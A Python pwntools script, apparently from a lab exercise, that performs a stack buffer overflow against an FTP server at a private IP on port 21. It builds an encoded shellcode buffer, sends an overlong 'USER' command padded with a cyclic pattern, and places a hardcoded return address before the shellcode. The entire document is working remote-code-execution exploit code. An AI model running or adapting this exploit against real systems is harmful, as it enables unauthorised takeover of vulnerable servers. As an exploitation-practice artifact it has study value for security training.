from
pwn
import
*
context(log_level
=
"debug"
)
buf
=
b""
buf
+
=
b
"\x92\x40\x9f\x93\x91\x93\x41\x49\x4a\x37\x3f\x9b\x93"
buf
+
=
b
"\x43\x4a\xf9\x4a\x91\x42\x9f\x49\x41\xf8\x9f\xf5\x4a"
buf
+
=
b
"\x92\xfd\x98\x92\x93\x41\xba\x73\xe1\xfa\x7e\xdb\xdb"
buf
+
=
b
"\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\x83\xe8\xfc\x31"
buf
+
=
b
"\x50\x0e\x03\x23\xef\x18\x8b\x3f\x07\x5e\x74\xbf\xd8"
buf
+
=
b
"\x3f\xfc\x5a\xe9\x7f\x9a\x2f\x5a\xb0\xe8\x7d\x57\x3b"
buf
+
=
b
"\xbc\x95\xec\x49\x69\x9a\x45\xe7\x4f\x95\x56\x54\xb3"
buf
+
=
b
"\xb4\xd4\xa7\xe0\x16\xe4\x67\xf5\x57\x21\x95\xf4\x05"
buf
+
=
b
"\xfa\xd1\xab\xb9\x8f\xac\x77\x32\xc3\x21\xf0\xa7\x94"
buf
+
=
b
"\x40\xd1\x76\xae\x1a\xf1\x79\x63\x17\xb8\x61\x60\x12"
buf
+
=
b
"\x72\x1a\x52\xe8\x85\xca\xaa\x11\x29\x33\x03\xe0\x33"
buf
+
=
b
"\x74\xa4\x1b\x46\x8c\xd6\xa6\x51\x4b\xa4\x7c\xd7\x4f"
buf
+
=
b
"\x0e\xf6\x4f\xab\xae\xdb\x16\x38\xbc\x90\x5d\x66\xa1"
buf
+
=
b
"\x27\xb1\x1d\xdd\xac\x34\xf1\x57\xf6\x12\xd5\x3c\xac"
buf
+
=
b
"\x3b\x4c\x99\x03\x43\x8e\x42\xfb\xe1\xc5\x6f\xe8\x9b"
buf
+
=
b
"\x84\xe7\xdd\x91\x36\xf8\x49\xa1\x45\xca\xd6\x19\xc1"
buf
+
=
b
"\x66\x9e\x87\x16\x88\xb5\x70\x88\x77\x36\x81\x81\xb3"
buf
+
=
b
"\x62\xd1\xb9\x12\x0b\xba\x39\x9a\xde\x57\x31\x3d\xb1"
buf
+
=
b
"\x45\xbc\xfd\x61\xca\x6e\x96\x6b\xc5\x51\x86\x93\x0f"
buf
+
=
b
"\xfa\x2f\x6e\xb0\x15\xec\xe7\x56\x7f\x1c\xae\xc1\x17"
buf
+
=
b
"\xde\x95\xd9\x80\x21\xfc\x71\x26\x69\x16\x45\x49\x6a"
buf
+
=
b
"\x3c\xe1\xdd\xe1\x53\x35\xfc\xf5\x79\x1d\x69\x61\xf7"
buf
+
=
b
"\xcc\xd8\x13\x08\xc5\x8a\xb0\x9b\x82\x4a\xbe\x87\x1c"
buf
+
=
b
"\x1d\x97\x76\x55\xcb\x05\x20\xcf\xe9\xd7\xb4\x28\xa9"
buf
+
=
b
"\x03\x05\xb6\x30\xc1\x31\x9c\x22\x1f\xb9\x98\x16\xcf"
buf
+
=
b
"\xec\x76\xc0\xa9\x46\x39\xba\x63\x34\x93\x2a\xf5\x76"
buf
+
=
b
"\x24\x2c\xfa\x52\xd2\xd0\x4b\x0b\xa3\xef\x64\xdb\x23"
buf
+
=
b
"\x88\x98\x7b\xcb\x43\x19\x8b\x86\xc9\x08\x04\x4f\x98"
buf
+
=
b
"\x08\x49\x70\x77\x4e\x74\xf3\x7d\x2f\x83\xeb\xf4\x2a"
buf
+
=
b
"\xcf\xab\xe5\x46\x40\x5e\x09\xf4\x61\x4b"
io
=
remote(
"192.168.112.146"
,
21
)
print
(io.recv())
payload
=
flat(
"USER "
, cyclic(
2000
),
0x77f8b227
, buf)
io.sendline(payload)
print
(io.recv())